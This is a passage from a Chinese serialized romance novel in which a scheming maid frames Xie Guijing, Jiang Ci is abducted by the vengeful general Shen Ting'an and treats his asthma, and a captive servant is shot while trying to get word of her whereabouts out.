她的声音越发低了,眼泪却啪嗒啪嗒地落下来,楚楚可怜。
“我……我本是黄花大闺女,如今……”她顿了顿,“今日之后,我便是公子的人了。”
谢归璟脑中仿佛有什么东西轰然一声炸开,连呼吸都滞住了。他跌跌撞撞地下了床,掀开被褥一角,只见白被之上,的确有一抹鲜红,触目惊心。
他退后两步,像是不敢相信这一切:“不可能……不可能!”
他猛地甩头,情绪近乎崩溃,一边穿衣服一边喃喃:“我怎么会……我不可能做出这种事……”
楚窈坐在床上,眼神中是掩不住的焦急:“公子……那我怎么办?我将清白交给了您……”
谢归璟背对着她站着,双拳紧握,身形紧绷。他脑中一片混乱。
他出身紫川谢氏大族,自幼家教严明,举止有矩,从不曾越礼半分。可昨夜……他竟会做出如此荒唐之事。
他低着头,像是竭力平息心中的动荡,半晌,才吐出一句:
“楚姑娘……很抱歉,我……不能对你负责。”
话音落地,他转身欲走。
“公子!”楚窈猛地掀开被子,赤足追上来,眼中已蓄满泪意,声音颤抖得带了哭腔,“我从未奢望能为妻,只求能留在您身边,哪怕只是个妾,只要能守在您身边,名不正、言不顺……我也甘愿。”
谢归璟停下脚步,缓缓回头。
他目光扫过床榻,再落在案几上那只空了一半的酒壶上。那酒香,曾是他熟悉的味道,却又隐隐透出些许不对劲的气息。他心头微沉,眼神随之清明了几分。
“我酒量一向不差,昨夜才几杯,怎会醉得不省人事?”
他盯住楚窈,语气平静却低沉:“那壶酒……是你动的手脚?”
楚窈微微一颤,咬唇垂眸,还想张口辩驳。
谢归璟像是忽然明白了什么,指着她衣衫下的某个细节:“你还穿着阿辞的衣裳……你模仿她的发髻、气息,是故意让我误认……”
他声音嘶哑:“你设计了我。我不可能娶你,你死了这条心吧。”
说罢,他匆匆穿好衣服,推开门夺门而出。
与此同时,姜辞和银霜正走在通往酒楼的小巷中。姜辞忽然想起什么,轻声道:“对了,城西那家点心铺子不错,你去买些带着,给他路上吃。”
银霜点头应下,转身去了。
姜辞独自走到酒楼门口,刚抬头,就看见谢归璟从楼内冲出来,神色慌张,眉目之间全是不安。他一头撞上姜辞,踉跄后退,抬眼一看——是她。
他怔在原地,像是被定住了。
姜辞被撞得轻轻一晃,见他神情不对,关切道:“你怎么——”
谢归璟强自镇定,打断她:“紫川……家中忽然有急事,我必须立即动身回去。等日后有机会,我……我带阿遥来丰都看你。”
他说得仓促,神情躲闪,几乎不给姜辞寒暄的余地,转身快步走向马厩。
姜辞站在原地,看着他牵马而去,渐行渐远,眉头轻轻蹙起,低声自语:“谢归璟何时变得这般不稳重了?……罢了,既然他要走,那便随他去吧。”
她微微叹息,便也要转身离去。
此时不远处,两道身影悄然隐于人群之后,自始至终紧盯着姜辞的一举一动。见她独自离去,二人对视一眼,脚下无声,很快就跟了上去。
阳光从云缝中洒落,姜辞正要与银霜会合。她穿过东街,又往西巷拐去,眼前小巷狭长,人影稀少,四周静得出奇,姜辞打算抄个近路。
她脚步未停,刚转入巷口,忽然身后一股力道猛地袭来。
有人一把捂住了她的口鼻。
姜辞骤然瞪大眼睛,惊骇间还未传出声音,便下意识地想要挣扎,可下一瞬,后颈一麻,那人一记手刀精准落下,她眼前一黑,意识瞬间断裂。
软绵的身子无力倒下,被身后的人一把扛起,飞快地将她掩入巷中一辆早已停好的马车中。
第59章
银霜提着点心匣子抵达酒楼,掌柜的见是东阳侯府的人,忙上前行礼,笑着问道:“这位小娘子可是找人?”
银霜抬眼问道:“都督夫人是否在楼上?我是奉命来送些点心。”
掌柜的一愣,回道:“夫人?今早小的倒是没见着。倒是那位谢公子,约莫半个时辰前,忽然匆匆收拾了行李,连早饭都没吃就退了房,说是要赶路。”
银霜蹙起眉头,望着空落落的楼梯口,自言自语道:“莫不是小姐先回府了?”
她不作停留,快步出了酒楼,回到东阳侯府。刚一入门,便见院子转角处,楚窈正好从耳房出来,头发还湿着,身上裹着一件浅色衣裳,显然是刚梳洗过。
银霜迎上去,问道:“你见到我们小姐了吗?她一早出门,到现在也不见回来。”
楚窈怔了一下,随后摇头说道:“没见着,方才一直在屋里歇着。”
银霜盯着她看了两眼,又扫了一眼她手中拎着的湿帕子,语气不太好地说道:“一大早也不见你人影,你既来了东阳侯府做事,就不能偷懒。以后小姐起身洗漱的热水,得提前烧好。”
楚窈低下头,神色带着一丝惶然和愧意,轻声答道:“是我疏忽了,银霜姐姐说得是。”
银霜看了她一眼,也没再多说什么,转身往姜辞住的院子方向快步离去。
她走远后,楚窈才缓缓抬起头,眼底的温顺瞬间退尽,冷冷一哼,低声道:“我伺候你家主子几天,你们便真把我当下人使唤了?凭什么你们生来就该高高在上,而我就该拎水烧汤,伏低做小?”
她冷笑一声,拢了拢衣袖,心不甘情不愿地往厨房走去。
刚绕过回廊,便看见越白从廊下走来,手里捧着一个帕子包着的物什,神情间带着几分腼腆
,拦住她道:“楚姑娘,这是我近些日子攒下的月钱,换了个小玩意儿……你看看,喜不喜欢?”
楚窈一怔,接过来,慢慢打开帕子,里面是一支银簪,簪尾镶着一块温润的绿松石,样式虽不华贵,但打磨得很用心。
越白看她神情,憨憨一笑:“我以前没送过人首饰,也不知道姑娘家喜欢什么,只想着……这个应当不会出错。”
楚窈看着簪子,脸上绽出一个笑来,笑意盈盈,如春水泛漾:“谢谢越大哥,我很喜欢。”
越白见她开心,眼中也带了光:“那便好。我要去督军署随都督办事了,晚上回来再寻你说话。”
楚窈点点头,目送他离开,直到那道背影转过垂花门,她脸上的笑才缓缓敛去。
她低头看了看那支簪子,指尖轻轻转动了几下,眼里逐渐浮现出一抹厌倦与冷意。
进了厨房,她看四下无人,缓缓走到灶前,盯着那簪子看了一眼,唇角冷冷一勾。
“区区一个下人,也想妄图染指我?真当我愿意一辈子给人端茶倒水、做牛做马,连子孙都要给你家主子当奴才?真是痴心妄想。”
话音落下,她毫不迟疑地将簪子一抛,那支银簪落入灶口火中,火焰噼啪一响,很快便将那绿松石吞没成灰。
楚窈转身离开,步伐轻巧,面色却如寒霜般冷漠。
另一边,银霜在府里寻了一圈,又寻了一圈,连姜辞平日爱去的花圃、书阁都不曾放过,甚至跑去了姬夫人的院中请安借问,可依旧没有姜辞的影子。
“没见着人。”姬夫人疑惑地说道,“你家小姐素来懂礼,也不会不打招呼就出去。你再回去仔细找找,兴许是在别处歇着。”
银霜垂首退下,心里却越发不安。她快步穿过回廊,重新返回姜辞的院子,唤来晚娘。
“姑娘不在。”她眉心紧蹙,“屋里没人,今早出发前,她都未曾说起有别的安排。你说,她会去哪里?”
晚娘略一沉吟,却不见慌张:“姑娘素来有主见,莫不是什么事临时改了注意,出门前忘了跟你说?在紫川的时候,不也经常一早出门去街上瞧些药材书帖?”
银霜却摇头,语气中带了分急切:“可她向来带着我,她不喜欢一个人出门。更何况……今日本是要去送谢公子的。”
晚娘只得轻声劝慰:“再等等吧,或许是偶遇了什么人耽搁了,也没准儿去督军署看都督了。”
银霜只得应下,却心中不安如影随形,始终坐立难安。
与此同时,山路蜿蜒,云雾缭绕之中,一辆不起眼的马车缓缓驶入山间别院。车轮停住,车夫回头示意。
“到了。”
后厢打开,一名黑衣侍从跃下,抬手掀开帘子,从中扛出一人。那人头戴黑布罩,身形轻盈纤瘦,却因长途颠簸,身子已然软倒,无力挣动。
“走。”
她被一路扛进别院的后楼,穿过长廊,直至楼上的静室,被重重按入屋内木椅上。粗麻绳绑住她的双腕,勒进肌肤,泛起淡红。
“人带到了。”一名随从禀报道。
沈廷安负手站在窗前,沉默不语。他眸光如刀,落在山间雾色之外,半晌才低声问:“无人看见吧?”
“回少将军,没有。”
“很好。”
他终于回过身,一步一步朝那椅子走来,每一步都带着压迫。
当他站定在那女子面前,抬手摘下她头上的黑布。
那一瞬,沈廷安的动作忽然一顿。
那张脸,眉目静然,鬓发有些凌乱,却恰如春水波光潋滟,明艳不可方物。她的睫毛轻轻颤了颤,缓缓睁开眼,眼底尚带着畏光与迷茫交错的神情。
沈廷安呼吸微滞,指节攥紧了手中那抹黑布。
他并非不知姜辞容貌出众,可只是听说,与这般近在咫尺、毫无遮掩的直视全然不同。
还真是——天姿国色。
姜辞凝视着他,眉头微皱,尚未弄清眼前状况。
“……沈廷安?”她喃喃唤了一声,声音微哑,带着冷静的警觉。
沈廷安眸色瞬间一沉,像是掩去某种迟疑。他勾了勾唇,冷笑一声,嘴角的弧度讥讽而危险:
“这倒让我,一时间不知该如何处置你了。”
他说着,缓缓俯下身,唇几乎贴近她耳畔,语气低哑,似笑非笑:
“随便杀了你,倒也便宜你了。”
“姜辞。”
她的名字,被他这样喊出,字字沉重,像是刀刃压在夜色之下。
姜辞眼神一凛,不动声色地注视着他,神情却透出一种清醒的从容,不屈亦不惧。
而沈廷安的目光,却再一次忍不住落在她的脸上,略微嗅到了危险的气息。
沈廷安忽然转过身,沉声道:“把人带上来。”
不多时,楼梯口响起脚步声,两名下人架着一名女子缓缓走进来。那女子衣衫破败,满身尘土,头发枯槁,脸上带着瘀痕,步履蹒跚,几乎是被拖着前行。她在厅中重重一跪,身子一晃,几欲倾倒。
姜辞看清那人的面容,瞳孔骤缩,脱口而出:“寄秋?她怎么会在这里?”
寄秋闻声,缓缓抬起头,神情茫然,但眼角却泛起一丝熟悉的波澜。
沈廷安负手而立,声音平静却带着一丝讽刺:“姬阳说,让我若有疑问,不妨亲自问她。我也问了。”
他顿了顿,目光冷冷扫过寄秋:“只是,像她这样曾经害过你的人,你却留她性命,让她戴罪服役,如此宽容,反倒叫我怀疑,你们是否早有口供一致,彼此掩护。”
姜辞垂在一侧的手不自觉握紧,神色却无半分慌张:“你妹妹的性情,身为兄长的你应比我更清楚。她是不是能做出那样的事,你心里不会没数。”
她一字一句地道:“我虽与她有些过节,但我与她的死,没有半分牵连,这顶帽子,我不会认。”
沈廷安面色一沉,几步走上前,一把捏住姜辞的下巴,将她逼得仰头直视自己。他的眼神如冷刃般压迫,声音冷若冰霜:“你都死到临头了,竟还如此嘴硬?”
姜辞试图挣开他的手,眼神却坚定,丝毫不退让:“我听闻沈将军三岁读书,七岁习武,年纪轻轻便带兵击退西凉铁骑,是溪陵人人敬佩的英雄人物。可今日一见,竟会因一封莫须有的信、几句未经查证的供词,便擅自捉人、行私刑。”
她语气沉稳而清晰,眼中隐隐有怒意翻涌:“在光天化日之下行此举动,未问是非便定人生死……我倒真是看错你了,少将军。”
“若你执意将脏水泼在我头上——那也罢。”她冷笑一声,“要杀要剐,悉听尊便。只不过,欲加之罪,何患无辞?”
厅内一时寂静,寄秋伏倒在地,轻轻颤抖着,却未出声。
沈廷安站在姜辞面前,看着她那双毫不退让的眼睛,神色中一瞬复杂难辨。
沈廷安松开姜辞的下巴。
“你倒是会说,”他冷声道,“但我在想……你,我要给你寻个好一点的死法儿。”
说罢,他一转头,目光落在倒在地上的寄秋身上。她嘴里被塞着破布,脸色惨白,眼角还有未干的泪痕。
“至于她——”沈廷安目光森然,声音冷酷,“出卖我妹妹的人,我第一个便拿她开刀。”
说着,他抬手,身后侍卫已拔出佩刀,朝寄秋逼近。
姜辞心下一紧,猛地站起身来,即便手被缚着也不顾:“少将军!”
她强迫自己冷静,声线依旧沉稳:“你妹妹沈如安,虽是你至亲,可寄秋当时不过是个随她来丰都的女子,她性格懦弱,一向没主见,若不是你妹妹哄骗利诱,又怎会落得如今境地?”
“你怨我可以,我姜辞不求你信我,但寄秋……她是被你妹妹一手拖下水的,今日你要杀,也该先动我。”
沈廷安眼神微眯,冷笑:“你倒是菩萨
心肠,舍己为人?还是说……这么急着求死,我成全你就是。”
他话音刚落,已按住腰间佩剑,利刃未出鞘,寒意却逼人。姜辞心头绷紧,正欲再开口,忽见沈廷安面色一变,神色倏然难看起来。
他呼吸骤促,捂着胸口缓缓退了两步,脸色有些发青。
“少将军!”身边侍卫立刻上前,从袖中掏出一只小巧的香囊,递给他。
沈廷安一把抓过,靠近鼻间深吸了几口,喘息才慢慢缓和下来。
姜辞盯着他,一双清澈的眼眸里,闪过一念。她忽而开口,语气不像方才那般激烈,反倒柔和几分:
“你这是……多年顽疾了吧?是不是每逢天冷气燥、心绪激烈,便胸闷难耐,气息不畅?夜里睡不好,偶有剧咳,还会呕些涎沫?”
沈廷安皱眉看她:“你怎么知道?”
姜辞道:“我曾在紫川,跟着大夫学过医,对一些疑难杂症,颇有见解,你这般症状,多半是哮病,你们溪陵人也叫喘疾。”
她目光落在他手里的香囊上,继续道:“这囊中是薄荷、白芷和苏叶,能暂解气闷,可治标不治本,我有法子可以缓解少将军症状。”
沈廷安半信半疑,冷笑一声:“你想拖延时间?”
姜辞却摇了摇头,眼神坦然:“你大可以不信我。可我手无缚鸡之力,身陷你手,又是在这深山别院,还有你的人把守,我能逃到哪儿去?”
她顿了顿,缓声道:“我只是想求你放过寄秋一命。你要杀人,不如先让我试试你这病症。若无效,你再动手也不迟。”
沈廷安冷冷望着她,眼底寒意与狐疑交错。他的手,依旧按在剑柄上,久久没有动。
姜辞静静看着他,不言不动,只等一个决定。
他盯着姜辞,语气仍冷,却已少了几分杀意:“你若能治我,我便放她一条生路,你最好别耍花样。若是投机取巧愚弄我,定送她先去见我妹妹。”说着,将扶在剑柄上的手松开了。
姜辞深吸一口气,轻声道:“我明白。”
直到傍晚时分,姜辞仍未归府。
暮色四合,东阳侯府灯火初燃,姬阳自督军署骑马归来,一进前院,便见银霜急急迎上前来,神色慌乱。
“都督!”她拦住姬阳,急切问道,“请问今日小姐……她有没有去督军署寻您?”
姬阳眉头一拧,语气顿时冷了几分:“没有。我让她去送谢归璟,她没回来吗?”
银霜面色骤变,声音里带了哭腔:“我今早与小姐一同出门,原是要去送谢公子,走到半路,小姐叫我绕去城西那家点心铺子,说要买点吃食送给璟公子路上吃。我应下了,可等我买回来,她……她人就不见了。”
姬阳神色一沉,声音陡然低下去,透着寒意:“她是什么时候不见的?”
银霜垂着头,咬唇道:“辰时前后……已经一整日了,我寻遍了她可能去的地方,连姬夫人院中也问过了……都没有。”
她越说越慌,眼圈渐红,哽咽着低下头。
气氛霎时间凝滞。
站在一旁的越白忽然低声开口:“属下听说……夫人与谢归璟公子曾差点定亲,又是亲梅竹马,只是在定亲前夕,姜家突然联姻到了丰都。”
此话一出,如惊雷在耳。
姬阳眼神猛地一凛,脚步一顿。
他缓缓转头,目光冷冽地落在越白身上,随即猛地逼近银霜,声音沉如水底:“他说的……可是真的?”
银霜惊愕地看向越白,一时没明白他从何得知这件旧事,惊慌失措,结结巴巴地道:“我……我……”
姬阳俯身靠近,一双眸子寒如霜雪:“银霜。”
那声音不高,却带着森冷的威压,直逼人心。
银霜下意识后退半步,面色煞白,支支吾吾。
姬阳定定看着她片刻,忽地冷声一笑,却没有继续逼问,只道了一句:“不用说了,我明白了。”
他转身,身影如墨般沉冷。
“来人。”他沉声喝道。
数名侍卫立刻从暗处应声。
“调东阳军暗卫,活捉谢归璟。”他说得极慢,却字字如钉,“无论如何,务必将他与夫人寻回。”
顿了顿,他面无表情地补上一句:“若他们反抗,就地处决。”
第60章
姬阳一走,银霜立刻伸手拉住越白,低声质问:“你那些话,是从哪儿听来的?”
越白愣了一下,一脸茫然:“什么?”
“就是你方才跟都督说的那些——夫人与谢公子的旧事!”银霜追问,“你一个外人,怎会知道得这般详细?总不会凭空捏造出来的吧?是谁告诉你的?”
越白一怔,随即道:“下午楚姑娘和我说的。她说她担心夫人……怕谢归璟不死心,因此冲动之下,把小姐给绑了去。”
银霜听罢,只觉眼前一黑,心底泛起一阵寒意。楚窈说这些话,未必只是担心那么简单。
她垂眸沉思片刻,脸色越发凝重。
与此同时,东阳军的暗卫已快马加鞭出城,顺官道全速追踪谢归璟的行踪。而府中,银霜与晚娘则在院中急得直踱步,愈等愈心焦。
“晚娘。”银霜忽然停下脚步,语气坚定,“我信小姐,她绝对不会把凉州的安危丢在一旁,她那性子,更不可能不声不响就跟人走了,也不可能丢下我们一人不带。”
晚娘也点头附和:“是啊,都督不明白我们与姑娘这些年情分,我们还能不知她?她就算是遇了事,也只会让我们先走,怎么可能……”
银霜咬了咬牙,神色凝肃道:“晚娘,你留在府里盯紧楚窈,我心里总觉着,她不对劲。她说那些话,怕是别有用心。”
顿了顿,她继续道:“我现在就去追小姐,万一真是璟公子一时糊涂做了错事,我或许还能拦下他,有转圜的余地。要是被都督的人先找到……那真是死无葬身之地。以都督的性子,知道这事,只怕……他这辈子都不会再信小姐了。”
晚娘脸色也变了变,沉声道:“你快去,路上千万小心!”
银霜点头,快步回屋,取了短剑藏于衣中,趁夜色沉沉,悄然从后院翻墙而出,一路朝城外疾奔而去。
姬阳回到督军署,重重坐入椅中,面色沉峻如铁,半晌未发一言,手指紧扣着扶手。
这时,杜孟秋的人进门拱手禀报:“都督,按您的吩咐,属下这几日一直盯着沈廷安。那日他出城后,行迹隐匿,未再入城,我们便不敢贸然跟随。”
姬阳垂眸沉思片刻,语声低沉而笃定:“好。但在城中,依旧要仔细,一旦他在丰都有所动作,立刻来报,一刻也不要耽误。”
许久之后,姬阳倏然起身,走到屋中偌大的沙盘前,俯瞰着满盘山河,目光落在凉州地界。
指尖缓缓掠过沙盘的边沿,最终停在紫川二字上。他站定良久,目光深沉如渊。
下一刻,他抬手,从一旁案几上取过一支箭矢,五指紧握,青筋隐现。
猛然间,箭矢破空而出,带着他胸中难以言说的怒意,重重钉入沙盘。
正中紫川城。
丰都城外,山间别院。
姜辞虽然被松了手脚,却并未真正获得自由。沈廷安像是故意要羞辱她,不捆她的手,不缚她的脚,偏偏用一只细细的铁链,从她颈间的铁环牵出,将她困在这院中楼上的一间屋子里,白日可行走,夜间则锁上门窗,水米俱在房中,想要方便也派人紧紧跟着。
姜辞坐在榻侧,手指轻轻触着脖间那冰凉的铁环,不觉发出一声极轻的笑。
这笑不是无谓,而是无奈。她知道沈廷安心中有怒,有恨,他的妹妹死了,而他无处宣泄,只能将她当作替发泄出口。她也知这是屈辱,是侮辱,可是当下,她更清楚,有命,才有一切。
早饭刚过,院门吱呀一声被推开。沈廷安依旧神情冷峻。他未说一句话,便站在门口,抬了抬下巴。
姜辞起身,微微颔首:“将军要诊脉?”
沈廷安没应,进来后只坐在房中靠窗的木椅上。姜辞走近,在他对面的矮几坐下。
姜辞沉静诊着他的脉,指腹贴在他腕上,细细辨着脉息中若隐若现的浮喘与涩滞。忽而,她收回手,站起身来,神情不变,却俯身靠近。
下一刻,女子轻轻将耳侧贴
上了他的胸口。
沈廷安一怔,原本正要张口斥责她越矩不知礼数,可话未出口,便被她轻声一句打断:
“别动,少将军深呼吸,我要听听你的肺。”
语调温平,让沈廷安无法拒绝,他喉间一紧,那句“男女授受不亲”竟生生噎在喉咙里,竟不知该如何接话。
她贴得极近,鬓发拂过他衣襟,温热的气息若有若无地散落在他的胸膛,沈廷安僵坐着,竟感胸腔内的心跳不受控制地快了一拍。
他努力保持镇定,目光死死盯着窗外山景,连呼吸都变得迟疑。
姜辞静静倾听片刻,忽而轻笑了一声,唇角带出一丝藏也藏不住的轻意,像是看透了他心跳紊乱的缘由。
她站直身,表现的什么都未察觉一般,只淡淡道:“果然,心肺之气久郁不畅。”
她走到桌边提笔写方,神情沉着:“此症多发于夜间,初时会有轻咳、气喘,渐则剧烈。此方为头一剂,服三日后,还需再诊。”
说罢,她将纸递过去。沈廷安接过,扫了一眼,语气不轻不重:“你倒是自信。”
姜辞笑:“不敢,只是一试。”
沈廷安挥手唤来守卫:“去丰都城抓药,要快。”
夜里,别院寂静无声,只有柴火偶尔噼啪作响。姜辞坐在角落的小灶前熬药,药香浓郁,混着松叶味在空气中飘荡。她将药舀入盏中,端到屋中。
沈廷安坐在床沿,冷冷道:“你先喝一口。”
姜辞毫不犹豫,低头抿了一口,淡然道:“我没有要害你的心思。此药清苦,需空腹服下,方能见效。”
沈廷安盯着她片刻,接过盏,仰头饮尽。良久,他放下药盏,冷声道:“今晚,你睡在这间屋里。就在我床边,哪儿也不许去。”
姜辞挑眉,看着他眼中那份防备,柔声回道:“少将军不信我,也是情理之中,我今晚哪儿也不去。”
沈廷安未再说话,只将床上的被子往里推了推。他仿佛想说什么,却又忍住,只低头脱下外衫,将长剑横在床边。
火光映着他的侧脸,棱角分明,眉眼凌厉,仍带着战场上那份肃杀。可姜辞却隐隐察觉到,他的眼底,似乎藏着某种说不出口的疲惫与……犹疑。
她默不作声地收起药盏,将铁链轻轻挪到床脚,自己坐在地上,手支着额头,闭上眼。
沈廷安没应,只抬眼看了她一眼。
那一眼,却似在她脸上多停了片刻。半晌,他才侧身躺下,背对着她。
屋内火光摇曳,窗外虫鸣阵阵。沈廷安眉头却始终未舒展开。身后,是女子沉静的呼吸,轻浅而有序。
沈廷安被她的呼吸扰得难以入眠,刚翻身想要出声,却见她蜷着身子,静静坐在那儿。月光洒落,她眉眼安然,双臂抱着肩,像是觉得冷。
他愣了一瞬,终是犹豫片刻,将被子拂过去,盖在她身上。
自己则是再次躺下。
翌日清晨,姜辞醒来,只觉身上多了一层温度。她掀开眼帘,望见自己被人盖上了被子,而床上那人早已不在。
屋内守着一名侍卫,姜辞看了他一眼,淡淡开口:“我要去为将军熬药。”
那人点了点头,便带她出了房门。
她穿着素衣,脖颈上的铁环仍在,一根细长的铁链拖在身后,哗啦作响。
路过院子角落时,她故意朝一个站岗的侍卫看了一眼,眼神中满是轻蔑与不屑,视线与那人短暂相撞。那侍卫愣了愣,面色不善。
姜辞走到院中,蹲下生火,取水、熬药,一举一动沉静如常,仿若并未把脖间锁链当回事。
忽然,一阵力道猛地从后方传来,那名早先被她冷眼看过的侍卫,面露不忿,一把扯住铁链,姜辞猝不及防,喉头一紧,身子被拖得一个踉跄,整个人摔倒在地。
细碎的砂砾划过掌心,火炉旁的草药包也翻倒,撒了一地。
这动静恰被沈廷安从屋内看见,他目光一沉,快步走来。
姜辞坐在地上,捂着喉咙,眼眶微红,一双眼含着雾气,却倔强不落泪,只是回头看了他一眼,眼神中带着屈辱与隐忍。
沈廷安脚步一顿,冷声道:“你,自己去领二十军棍。”
那侍卫脸色一变,噤声抱拳退下。
沈廷安迈步走到姜辞面前,居高临下地望着她,伸出手,欲将她扶起。
姜辞却未接他的手,只是默默爬起身,拍了拍身上的灰尘,低头弯腰继续拾起散落的药材,回到药炉前继续煎药。
沈廷安站在她身后,手紧紧握着,眉头皱成一团,沉默半晌,终于低声开口:“你过来。”
姜辞听言,停下手中的动作,缓缓起身,走到他面前。
沈廷安抬手,握住她脖颈上的铁环,沉声道:“别动。”
咔哒一声,锁扣松开,那沉重的铁环从她颈间脱落,落在地上发出一声钝响。
他将它踢到一旁,语气冷淡却不再含怒:“我解了你的枷锁,但愿你也识趣些,乖点。”
姜辞怔了怔,随即抬头朝他盈盈一笑,眼中浮现一丝感激之意,轻声道:“少将军仁慈,姜辞多谢。”
她说得温顺得体,眼神干净,仿佛真心感激。沈廷安看着她,还有她脖子上被铁圈磨红的痕迹,也一时说不出话来。
可就在姜辞转身的那一刻,那抹笑意彻底消散。她眼神冷淡,唇角微抿,面无表情地回到了药炉前。
丰都城内,夜深如墨。督军署的灯火却整夜未熄。
姬阳已连着两个夜晚未曾合眼,仍坐在案后,眉目沉凝。
他指间轻轻摩挲着那只随身佩戴的老虎护符。
帐外忽有脚步声,一名暗卫疾步进来,单膝跪地,拱手道:“都督,谢归璟抓到了。”
姬阳眼神一凛,抬眸看他,声音沉如冷水:“在哪儿?”
暗卫低声回道:“千华寺。属下赶到时,他正准备剃度出家。”
“出家?”姬阳眉头倏然拧紧,抬起头,声音骤沉,“那姜辞呢?”
暗卫摇头:“未曾找到。我们一路查到千华寺,未见夫人踪影。”
姬阳沉默片刻,唇角绷成一线,忽而站起身来,声色冷厉:“把他带上来。”
不多时,两名侍卫押着谢归璟进了内厅。他一身素白僧衣,头发已剃尽,眉目间是难掩的疲惫与倦色,但神情却极为平静,竟像是已下定了某种决心。
姬阳一步踏出,走至他面前,目光犀利如刀,伸手一把揪住谢归璟的衣领,将他狠狠扯近,低声质问:“姜辞在哪?你们不是一起离开丰都的吗?”
谢归璟目光一滞,旋即皱眉,伸手掰开姬阳的手,退后半步,语气中有些许不耐:“我们何时一起离开?你的夫人丢了,却跑来问我,你可真是个好夫君。那日我匆匆离开,只把她留在了酒楼门口。”
他停顿片刻,又补了一句:“你若不信,大可以去问那附近的摊贩,总有人看见她往哪儿去了。”
姬阳盯着他,目光沉如夜水。他在谢归璟脸上搜寻着任何一丝破绽,可那人神情坦荡,眼中尽是厌倦,并无半分闪躲。
良久,谢归璟冷笑一声,眼神中透出一丝讥讽:“没准儿她是受不了你的臭脾气,自己找地方藏起来了。”
姬阳手一松,将他猛地推开,眼神冷冽如锋:“怎么,被我夫人拒绝,这就要出家了?谢公子也太脆弱了些。”
谢归璟神色一震,似是想起了那夜令人作呕的一幕,脸色瞬间变得苍白,胸口一阵翻涌,强忍着才未作呕。他低下头,语气颤着,却又
极其坚定地说道:
“你可以羞辱我,但别拿姜辞来说嘴。你根本不了解她。她是那种一旦认定了一条路,就义无反顾走到底的人,不管你信不信,她从未想过要背弃你。”
厅中陷入短暂的沉寂,姬阳的目光在谢归璟身上停了几息,随即转头看向暗卫,沉声道:“去查。”
“那日见过姜辞的人,一个都别放过。查清楚,她到底往哪儿去了。”
“是!”暗卫领命而去。
姬阳重新转过身,站在案前,一只手又握住那只老虎护符。
屋外风声呼啸,烛影摇曳,落在他冷峻的面庞上,仿佛有什么沉沉压在他心口,久久未散。
就在此时,外头脚步声急促,一名属下快步奔入厅中,单膝跪地,双手高举一张纸页,道:“都督,这是属下从药铺带回的药方。”
姬阳眉头微蹙,走过去接过那纸,一眼落下,瞳孔骤然一紧。
那是姜辞的笔迹。
他指腹摩挲着纸上那熟悉的字迹,心跳仿佛顿了一拍,低声问道:“从哪儿得来的?”
那人连忙道:“这是属下在盯沈廷安的人时所得。昨日午后,沈廷安手下有人去了丰都南街的仁德堂抓药,此方正是开出的药方。”
“你们有跟上去?”姬阳眼神犀利如刃,语气带寒。
手下低头回禀:“回都督……我们本以为只是寻常抓药,未曾尾随。”
话音未落,姬阳神色一沉,一把将手中药方捏成一团,猛地一脚踹在那人肩上,怒声道:“废物!为什么现在才来报?”
那人被踹得身形不稳,跪地不敢吭声。
姬阳咬牙,声线压得极低却极重:“盯死药铺!一旦沈廷安再有动静,不论谁出面,立刻跟上,势必要挖出他的藏身之处!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
60-70
第61章
“是!”属下应声而去。
姬阳低头看着那被他揉皱的药方,心中有种深深的焦灼与不安,倘若她真的落在沈廷安手中,那才叫难办,相比之下,他宁可姜辞是被谢归璟绑着跑了。
起码谢归璟不会伤害她。
翌日清晨,山间的雾气尚未散尽,屋内却已飘出淡淡的药香。
姜辞坐在榻前,为沈廷安诊脉。她指尖轻覆脉处,眉头微蹙,神色沉静如水。
片刻后,她收回手,道:“少将军这两日服药之后,气息已有缓解,呼吸较昨日更顺畅些,是好现象。”
沈廷安微抬眼眸,语气略缓:“确实……这些日子头一次觉得气顺了些。照你说的,何时能根治?”
姜辞拿起一旁的笔与纸,边写边答:“此时正是转折关头,若药效稳定,再服此方三日,便可换方调理根本。若一切顺利,便可彻底缓解旧患。”
沈廷安接过方子看了眼,吩咐人去丰都取药。姜辞趁势轻声开口:“少将军,如今您既然稍感好转,不知能否履行昨日所言,将寄秋放了?我知道少将军君子一言,驷马难追。”
她语气平稳,眼神澄澈,话语不急不缓,却步步在理。
沈廷安盯着她看了片刻,只觉她神情从容,分寸极准,仿佛笃定他会应允。他沉声应道:“好,我答应的,自然不会反悔。”
不多时,有人押着寄秋走了进来。她形容狼狈,满身伤痕,眼神却依旧倔强。
姜辞一见她,神色微动,起身说道:“我可否为她处理一下伤口?”
沈廷安冷眼扫她一眼,语气微凉:“免了。你少打主意,休想与她再有接触。”
他转头吩咐左右:“将她带下去,寻个僻静的地儿放了,不许出声,不许回头。”
两名侍卫领命,将寄秋押出院落。
临行前,寄秋回头看了姜辞一眼,眼中闪过几分复杂情绪。她张了张嘴,却终究没说什么。
姜辞站在院中,静静望着她离去的背影,没有追问,也未出声。她只是心中在赌,赌那女子是否还念得她的一分情义,是否能为她带出那条唯一的生机。
寄秋被侍卫一路押至官道边,重重丢在地上。
尘土扬起,她身子一震,随即咬牙撑起身体,踉跄着爬起身,毫不迟疑地朝丰都城的方向奔去。
她知道,姜辞还在山中。若无人知晓她的下落,恐怕这一次,真要被活活折在那姓沈的手里了。
可她才奔出没多远,身后却骤然响起破空之声。
“咻——”
箭矢刺破长空,毫不留情地穿透了她的后背。她整个人顿住,低头看见胸口破出弩箭,鲜血淋漓,大片染红了衣襟。
寄秋嘴角溢出一口血,眼前一黑,重重跪倒在地。
她听见身后的人冷漠地收起弩弓,见她倒地不起,便转身离开,视她为蝼蚁。
可她并未死去。
她咬紧牙关,手指在地上扒拉着,鲜血一滴滴浸进黄土。她跪趴在地,身子一寸一寸往前挪,每动一下,嘴里便涌出一口血,但她不曾停下。
不知道爬了多久,后方有一辆进城的货车正缓缓驶来。
她抬起头,眼中几乎看不清眼前的景象,竭力挥了挥手,随后无力地倒了下去。
车夫见状大惊,急忙跳下车来,将她翻过身来。寄秋胸口被血浸染大片,气息已是奄奄一息,还依旧艰难地抬起手,死死攥住车夫的袖子。
“求你……”她声音沙哑,如风中残烛,“东阳侯府……告诉……都督,他夫人……在城西官道尽头,穿过南岭小树林……往北……二里地半山腰……救她……”
话音未落,她喉头一甜,又是一口血吐出,眼中神光迅速涣散,手也慢慢垂下。
她的眼皮未合,仿佛还有未了的执念残留世间。
她最后的意识里,脑海中闪过许多人影。
“姜辞……我们这次,两清了。”她在心中呢喃着,血从唇角淌下,“我有今日,只怪我当初愚蠢,倘若我不是性子软弱,又怎么会落得今日的下场……娘,阿弟……此生我不能再陪你们了……”
